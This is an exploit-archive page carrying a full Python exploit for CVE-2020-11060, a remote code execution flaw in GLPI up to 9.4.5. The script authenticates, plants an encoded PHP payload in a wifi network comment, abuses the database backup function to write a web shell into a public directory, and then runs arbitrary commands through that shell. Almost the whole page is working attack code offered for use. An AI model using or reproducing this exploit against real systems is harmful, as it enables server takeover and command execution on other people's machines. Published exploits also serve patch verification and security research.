GLPI GZIP(Py3) 9.4.5 Remote Code Execution

Related Vulnerabilities: CVE-2020-11060  
Publish Date: 10 Oct 2023
                							

                #!/usr/bin/env python3

#Exploit Title: GLPI GZIP(Py3) 9.4.5 - RCE 
#Date: 08-30-2021
#Exploit Authors: Brian Peters & n3rada
#Vendor Homepage: https://glpi-project.org/
#Software Link: https://github.com/glpi-project/glpi/releases
#Version: 0.8.5-9.4.5
#Tested on: Exploit ran on Kali 2021. GLPI Ran on Windows 2019
#CVE: 2020-11060

# Built-in imports
import argparse
import random
import re
import string
from datetime import datetime

# Third party library imports
import requests
from lxml import html

# https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt
PAYLOAD = ";)qRJ*_O88Ux-0cRlA`B]5y[r.no5bKUb2EzEW34O(K~.Oa}pO}1F956/fp@mz`oQqahP+@[/tiLy:]YBmFrRmc*Jt}VxM^@(9BeSTo|zQ}6d/zF|LOMqSy:Nk5hCLU.s-Tx;fHci?1],*9}r;,FmIDZ5^|0SNYjN}H7z{(fPe1}~6u8i^_S38:64w+Q6rg*h4PZ`;h)mB*IeUhRLk;~}OVB`:XTKPnT4XS9pzLrze,[^Y/qnP5KEEo6t+ydw7m,@S/:_dka*4BAXKk?NvSgcV41P~r0iGI?/}lXrvB+94e3/E]aEUPVKmgPE[[Dc@Vjy.2mW+if^)c@n8a[`qt-0,S+sDM+RSj_M0V(@,I)SLHZg*rjV4HTKyQo9-[6OL7xhZKQDx03?Tc{|wo32~*QHgH;{@SPcPJ+}tXPPS~-@g:I-Zo+nxo+Y,pFjX8(.;Xr:jD6fx2IXJUMw.m{F7(@RFA6XHS{c`v(W~[yFLMvfBxiP;a58,w`pWEuNtKE~@N.t9fRDOqh1o.^G@W/rr5S_?8Ar/c[Ok}e|:i]P:DUB^o7*pUp[F6hml-32MT)@ih/f`T/~^r(.[+fLPhrD4aBO8u/4gPlr-6.}Mz(OTmHSO8XYa]^3|.*ASPLaB.*gzLUX|4,W_|E|M7all3?XXJ}Cy)6:M2fgiT@155[y0)^@HUXC+Iui9+-z^5dTm*{W}jSB@p8o-fHF)0gsa83,AjbbX]l0I{}k?}[,I`SgGyfZi1c2T@~lTM]}8-{H3DuMFd5+iAr?g9~~0P)AU8u`nk?a()`T@L;UMa@{zS9h7HTD*D1W3x*KNAmk7NXX-s8uQumOY3TLKnN4ls?*sPS/gS^O(/[ctaJYlJ-16_XqifQR(U?a1L@|;^3GHPg?J*mY)+[i(l4GBKj5r6Pkv-QxzVhgKKu9G*6~V6T)DiUK.Pxfy*X*QADUIB`L*GMYh0k[Lpk8eBYheF2yli-Czv7{Z:A4TDYo?PzLk6K5[0*vDbn53oPA(Np|U|AKVSqe/^bP~lkxPcUWXC-jt{27G.Fu;W`uu+cjgo5]m39R:3csXshb_EJ[p2i5~RD0.ZDYUa^Ev@mbA._4F@uVRx/LjW2h{tEME;tYpE,e55a*|lJ./kE1n]v_{/U8uyX:L/5ifJ^^WkTZ/nVC@,7oY^mMPV(-9stYKZWyg9fGtj+R4]Q.:.J5[;;v+rCL:O[JBHZ)Nk8s4(nbS*K]VH8,;Ya9V/.CwXV0X/3Rd{*~QeP6rn4|?V2n6vC|WtAU1JKba-INX`wmYI@}h)BO,^NHERJF~rMF]oz1?aaJI@H0^K`WG*8auteXa3svOvIcSqF6q?eyNA2sr)ai;nczU02qrz?s@W}N|VQr/.}R27*B4bA8?LrrbbOsR/VG[]Fii/vC9v;R7z76H,:0Lb(,qr}8Q_|;KCQGg(|I2*X3Nk-@GC[[7d)055J,/8{/JmL/odlgA8-O|?1yw6QmJjZxb;j[cFdy/B]/t?CG/y}Qyq|.RtE(rJ``i9ZxQarkR_yKlz21}~vpl~eLSV1+l/gi;k(]GdS^FueL7VMRa}{B@JUOy4gXP-By:)-jktZfg~f]Gz?D:UVqSJTAn_zLUQqPNHATd(2.uFeQhoO.L]EknPP3NZiLa8z1,;j/{p}k/V3KU:dgB4K}-U@Qx)g1wRI*]YyI6V^Ibl^4a*vwB+8*EiD^TAau8|]NAL(4Bn}*N+AfjHLqYDdbIuhYdP`~W0K@eM}*kj)t9`H(}fTh_0M@2kgUIBX-4dx05+)hIXtX]YtG*Y*dakDk.}9ZQeiGLnChu(S+Nk{:ZMA/HXEGz5L^)5Dh6qno8:Im[{aL_,eaw[ictOZav,APv}oRjmXp)sUsW5my2gm5boX}e-jQ38N3@RUe)J^|QF[IrZG*MfGkRw;ZK+~/cL4M38aBX8b7::Qq;(H+}yMEQV0Esr~zmd|uL4E,q6DsaD~b9Z;J5{At(/fKvOmXTIXiY.*DT42z62gPyW1;Ev*8]@jp{KgYnj1RCocqe~*tvcbWC2CRpA*Gjz(msc*KtdmW?fBsxzc/tle?@gVzi9sTGAMTJi/flQtFVJF^/Ls|RK.lQ`/m42oVGkM`+~V~I@g(9]cRR,`~D;k~TtM3e|):*vAg@LH55{:d:x4QkVb^R{Rll+CKMxa,rzSxG+D)L?ePUCgwZiMp.FwZe^]3gZOmU0kcSR-sc?@lQa)+vAMW7B}k?pF84QoQVIDE[W*4kKn~/GBQ[1Eg;46MRTMO3V31g^8yqz)--JO}2i;(oBbtyNd0XkM+_luyJH_NuZ?tZu|5.+Z.(,7j*(87Xya]mdZr_w?SeC{bE0@5]Nit?tyby`,rI6}.@@[42X]C)K,Tq[q/~feVi1mJl(CxPz`:*ZKl]J2}L;7.*tzTCC(s-BWgD9GzQpk]r*AP_GEQ]Cit6GRCbe;yZ}nreK+2q-ZPDrs^-G29dS@m4/4q*GnabGJW}.oahC88:]m?2hJrpy){pGcOf|7o3lxDUkST*Lham4z4B~}H3uLN{-,~+32@m[l|Rur9|jU_WqKUh+(D6i2[:(sR*)nc(E-2y}Rq]:,VsMIv1dot0m)3@aAARUMNMDxSMsq+O|O]y?_T,QvgXRQrA6c+r`zDr9NpNb2Eoq/?M},HgicpE@/NIjt;Sf^MaW`e^1ADhFcXqe4,KMhu1~GG8dlEU1|wE9NIoxjC(g`cIFq0^rItTK76{h1[SJLCn*w(w|(7F0Fva+~y{yzn1D2x4c-lv?p}wu9pF.?tlaB8a_~zu/4U0~j1/N?{E}1IZ`I{AM@GW{h{Ot1Pb@W@0Ha+7O?N|?B)ti20MTJ0Pm*g-~j/9L;^ouu?-O3-hDNt^0g3w:X92bA}ag_sZrJ3{}b|A^r}y/f(T.2{s`t;t1FGp83bT7lFRE.1;uas;(LIyNJ3OsoC;~-K,MToT+~~AlkS(;i0Pob*.;6+,s|ae2(cP.sF@`Tps6_+heNE_kKNVXk{Od8ETI`}q5):F?gO~ZBjd7G}Iy*QOOSDlTQQ-WsKJCu7Q~vH}NotKuTpwO8;mEElVqQ,D,mw56)}c9/?aooObfp+NRG9(L}b2hm`U9TxFxE5y}Nw0,sSN-jcj6q[;6Q~Jd*@kknF]XNDt(3HQKdoRT;2mYoMlM}Rn^S{ekyqsT:OX1;z8pUxT-XE)o?gXqNV].hEYrr4`Hy:aDh^4K1^|OzS{]7dZ]]--(Lp?{AIlUyHGf09PKy@r?:Dx-COsMlWeCcSp*3v_W(PWJHex:o9Uf:2Zvvfhx*eFT:g{@o]3}Y)uLO,bcugjJ0v/hq(LKCnr/zowwK0bqaQ^.ka5nE0U7/9+aokofDSyi9E|BUa[9*3vkr9Jxg)3Sx6bY.d5sBGWK+8IYEzqlpj?7;j{l^;B2?u;+UAn}1J5C:1DbcV,U@_OLL{aLFY`cQA7JnL[Tz6j-U9qmVy7;706VP0R`6Zmn_aRZE/P)R~A9lYosxX4;[?9/|O?sJSXZoVvNgIH[-D?o}e]_T7GJPu6Vk,SY{P?)b5oiGsGV.0{@,4JuY0a7d(P)`YX1~Iq[]K,?lNe-V+}QGG}T^~2l)BX9khRsxJB(rf,ZVz)dtCU3Br.8.yu~gMo7aD/]m/xrH~i]^]A*HLgFFY/AlVqLTa17qm1qcU;W4x;8,^;*|TN(YYkm?0Xbvsy*{))pfUG02mvBXNeH;)OZJ~6Z`csCb)R:Ute]2Nj90K{`M;6V1+YKbM;B,O/*~g-ucwb2|`cOS?D8Rt]X}6FI^okmw4~PI({VX8;KYMJRv]w2Jc/udD@[wOQ,huX76iQ}HqSgdiTalFVdujJwcaof}Z1MbK{/d;2{RM3rDRF4OSZbN2t+:TW,,v5m+1nWQbaoR(54f-[^yv*GCyzGCN^M9d@.VL4:^[/}6kUcCSz?`J*.CiqjJjQJkZkGxY}u*shO4x38t+`FW};|Go2HRAsSHJJN@``HVmacO[rn|Q+1{hA3yqEg.sL+5S)_Ol5|,kM@RET,7f[k;Xi?Mal?ZnK,*_NQWZy+cr^Cf9RA^Nv5|a@Jp2bD*HT`+Po2laU]LK,1z]LRk_-~keiS^Y8:Zh`.W}LNH`C8fzT/zv2XE

requests.packages.urllib3.disable_warnings()


class GlpiBrowser:
    """_summary_"""

    def __init__(self, url: str, user: str, password: str, platform: str):
        """
        Initialize the GlpiBrowser with required attributes.

        Args:
            url (str): The URL of the target GLPI instance.
            user (str): The username for authentication.
            password (str): The password for authentication.
            platform (str): The platform of the target (either 'windows' or 'unix').
        """
        self.__url = url
        self.__user = user
        self.__password = password

        self.accessible_directory = "pics"

        if "win" in platform.lower():
            self.__platform = "windows"
        else:
            self.__platform = "unix"

        self.__session = requests.Session()
        self.__session.verify = False

        self.__shell_name = None

        print(f"[+] {self!s}")

    # Dunders
    def __repr__(self) -> str:
        """Return a machine-readable representation of the browser instance."""
        return f"<GlpiBrowser(url={self.__url!r}, user={self.__user!r}), password={self.__password!r}, plateform={self.__platform!r}>"

    def __str__(self) -> str:
        """Return a human-readable representation of the browser instance."""
        return f"GLPI Browser targeting {self.__url!r} ({self.__platform!r}) with following credentials: {self.__user!r}:{self.__password!r}."

    # Public methods
    def is_alive(self) -> bool:
        """
        Check if the target GLPI instance is alive and responding.

        Returns:
            bool: True if the GLPI instance is up and responding, otherwise False.
        """
        try:
            self.__session.get(url=self.__url, timeout=3)
        except Exception as error:
            print(f"[-] Impossible to reach the target.")
            print(f"[x] Root cause: {error}")
            return False
        else:
            print(f"[+] Target is up and responding.")
            return True

    def login(self) -> bool:
        """
        Attempt to login to the GLPI instance with provided credentials.

        Returns:
            bool: True if login is successful, otherwise False.
        """
        html_text = self.__session.get(url=self.__url, allow_redirects=True).text
        csrf_token = self.__extract_csrf(html=html_text)
        name_field = re.search(r'name="(.*)" id="login_name"', html_text).group(1)
        pass_field = re.search(r'name="(.*)" id="login_password"', html_text).group(1)

        login_request = self.__session.post(
            url=f"{self.__url}/front/login.php",
            data={
                name_field: self.__user,
                pass_field: self.__password,
                "auth": "local",
                "submit": "Post",
                "_glpi_csrf_token": csrf_token,
            },
            allow_redirects=False,
        )

        return login_request.status_code == 302

    def create_network(self, datemod: str) -> None:
        """
        Create a new network with the specified attributes.

        Args:
            datemod (str): The timestamp indicating when the network was modified.
        """
        creation_request = self.__session.post(
            f"{self.__url}/front/wifinetwork.form.php",
            data={
                "entities_id": "0",
                "is_recursive": "0",
                "name": "PoC",
                "comment": PAYLOAD,
                "essid": "RCE",
                "mode": "ad-hoc",
                "add": "ADD",
                "_glpi_csrf_token": self.__extract_csrf(
                    self.__session.get(f"{self.__url}/front/wifinetwork.php").text
                ),
                "_read_date_mod": datemod,
            },
        )

        if creation_request.status_code == 302:
            print("[+] Network created")

    def wipe_networks(self, padding, datemod):
        """
        Wipe all networks.

        Args:
            padding (str): Padding string for ESSID.
            datemod (str): The timestamp indicating when the network was modified.
        """
        print("[*] Wiping networks...")
        all_networks_request = self.__session.get(
            f"{self.__url}/front/wifinetwork.php#modal_massaction_contentb5e83b3aa28f203595c34c5dbcea85c9"
        )

        webpage = html.fromstring(all_networks_request.content)

        for rawlink in set(
            link
            for link in webpage.xpath("//a/@href")
            if "wifinetwork.form.php?id=" in link
        ):
            network_id = rawlink.split("=")[-1]
            print(f"\tDeleting network id: {network_id}")

            self.__session.post(
                f"{self.__url}/front/wifinetwork.form.php",
                data={
                    "entities_id": "0",
                    "is_recursive": "0",
                    "name": "PoC",
                    "comment": PAYLOAD,
                    "essid": "RCE" + padding,
                    "mode": "ad-hoc",
                    "purge": "Delete permanently",
                    "id": network_id,
                    "_glpi_csrf_token": self.__extract_csrf(all_networks_request.text),
                    "_read_date_mod": datemod,
                },
            )

    def edit_network(self, padding: str, datemod: str) -> None:
        """_summary_

        options:
            padding (str): _description_
            datemod (str): _description_
        """
        print("[+] Modifying network")
        for rawlink in set(
            link
            for link in html.fromstring(
                self.__session.get(f"{self.__url}/front/wifinetwork.php").content
            ).xpath("//a/@href")
            if "wifinetwork.form.php?id=" in link
        ):
            # edit the network name and essid
            self.__session.post(
                f"{self.__url}/front/wifinetwork.form.php",
                data={
                    "entities_id": "0",
                    "is_recursive": "0",
                    "name": "PoC",
                    "comment": PAYLOAD,
                    "essid": f"RCE{padding}",
                    "mode": "ad-hoc",
                    "update": "Save",
                    "id": rawlink.split("=")[-1],
                    "_glpi_csrf_token": self.__extract_csrf(
                        self.__session.get(
                            f"{self.__url}/front/{rawlink.split('/')[-1]}"
                        ).text
                    ),
                    "_read_date_mod": datemod,
                },
            )

        print(f"\tNew ESSID: RCE{padding}")

    def create_dump(self, wifi_table_offset: str = None):
        """
        Initiates a dump request to the server.

        Args:
            wifi_table_offset (str, optional): The offset for the 'wifi_networks' table. Defaults to '310'.

        Note:
            Adjust the offset number to match the table number for wifi_networks.
            This can be found by downloading a SQL dump and running:
            zgrep -n "CREATE TABLE" glpi-backup-*.sql.gz | grep -n wifinetworks
        """
        dump_target = f"{self.path}{self.__shell_name}"
        print(f"[*] Dumping the database remotely at: {dump_target}")
        self.__session.get(
            f"{self.__url}/front/backup.php?dump=dump&offsettable={wifi_table_offset or '310'}&fichier={dump_target}"
        )

        print(f"[+] File 'dumped', accessible at: {self.shell_path}")

    def upload_rce(self, wifi_table_offset: str = None) -> str:
        """
        Uploads the RCE (Remote Code Execution) shell to the target.

        Args:
            wifi_table_offset (str, optional): The offset for the 'wifi_networks' table.

        Returns:
            str: A status message indicating the outcome of the upload.
        """
        if not self.login():
            print("[-] Login error")
            return

        print(f"[+] User {self.__user!r} is logged in.")

        # create timestamp
        datemod = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

        tick = 1
        while True:
            print("-" * 25 + f" trial number {tick} " + "-" * 25)

            # create padding for ESSID
            padding = "e" * tick

            self.wipe_networks(padding, datemod)
            self.create_network(datemod)
            self.edit_network(padding, datemod)

            self.__shell_name = (
                "".join(random.choice(string.ascii_letters) for _ in range(8)) + ".php"
            )

            print(f"[+] Current shellname: {self.__shell_name}")

            self.create_dump(wifi_table_offset)
            if self.__shell_check():
                break

            tick += 1

        print("-" * 66)
        print(f"[+] RCE found after {tick} trials!")

    # Private methods
    def __extract_csrf(self, html: str):
        """Extract CSRF token from the provided HTML content."""
        return re.search(
            pattern=r'name="_glpi_csrf_token" value="([a-f0-9]{32})"', string=html
        ).group(1)

    def __shell_check(self) -> bool:
        """Check if the uploaded shell is active and responding correctly."""
        r = self.__session.get(
            url=self.shell_path,
            params={"0": "echo HERE"},
        )
        shell_size = len(r.content)
        print(f"[+] Shell size: {shell_size!s}")
        if shell_size < 50:
            print("[x] Too small, there is a problem with the choosen offset.")
            return False

        return b"HERE" in r.content

    # Properties
    @property
    def path(self):
        """With this property, every time you access self.path, it will dynamically generate and return the path string based on the current value of self.accessible_directory. This way, it will always be a "direct reference" to the value of self.accessible_directory."""
        if "win" in self.__platform.lower():
            return f"C:\\xampp\\htdocs\\{self.accessible_directory}\\"
        else:
            return f"/var/www/html/glpi/{self.accessible_directory}/"

    @property
    def shell_path(self) -> str:
        """Generate the complete path to the uploaded shell."""
        return f"{self.__url}/{self.accessible_directory}/{self.__shell_name}"


def execute(
    url: str,
    command: str,
    timeout: float = None,
) -> str:
    """
    Executes a given command on a remote server through a web shell.

    This function assumes a web shell has been previously uploaded to the target
    server and sends a request to execute the provided command. It uses a unique
    delimiter ("HoH") to ensure that the command output can be parsed and
    returned without any additional data.

    Args:
        url (str): The URL where the web shell is located on the target server.
        command (str): The command to be executed on the target server.
        timeout (float, optional): Maximum time, in seconds, for the request
            to the server. Defaults to None, meaning no timeout.

    Returns:
        str: The output of the executed command. Returns None if the URL or
            command is not provided.
    """
    if url is None or command is None:
        return

    command = f"echo HoH&&{command}&&echo HoH"

    response = requests.get(
        url=url,
        params={
            "0": command,
        },
        timeout=timeout,
        verify=False,
    )

    # Use regex to find the content between "HoH" delimiters
    if match := re.search(
        pattern=r"HoH(.*?)HoH", string=response.text, flags=re.DOTALL
    ):
        return match.group(1).strip()


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", help="Target URL.", required=True)
    parser.add_argument("--user", help="Username.", default=None)
    parser.add_argument("--password", help="Password.", default=None)
    parser.add_argument("--platform", help="Target OS (windows/unix).", default=None)
    parser.add_argument(
        "--offset", help="Offset for table wifi_networks.", default=None
    )
    parser.add_argument(
        "--dir",
        help="Accessible directory on the target.",
        default="sound",
        required=False,
    )  # "sound" as default directory

    parser.add_argument("--command", help="Command to execute via RCE.", default=None)

    options = parser.parse_args()

    if options.command:
        # We assume the given URL is the shell path if a command is provided.

        try:
            response = execute(url=options.url, command=options.command, timeout=5)
        except TimeoutError:
            print(f"[x] Timeout received form target. Maybe your command failed.")
        else:
            print(f"[*] Response received from {options.url!r}:")
            print(response)
        finally:
            return

    target = GlpiBrowser(
        options.url,
        user=options.user,
        password=options.password,
        platform=options.platform,
    )

    if not target.is_alive():
        return

    target.accessible_directory = options.dir
    target.upload_rce(wifi_table_offset=options.offset)

    print(
        f"[+] You can execute command remotely as: {execute(url=target.shell_path, command='whoami').strip()}@{execute(url=target.shell_path, command='hostname').strip()}"
    )
    print("[+] Run this tool again with the desired command to inject:")
    print(
        f"\tpython3 CVE-2020-11060.py --url '{target.shell_path}' --command 'desired_command_here'"
    )


if __name__ == "__main__":
    main()
            

<p>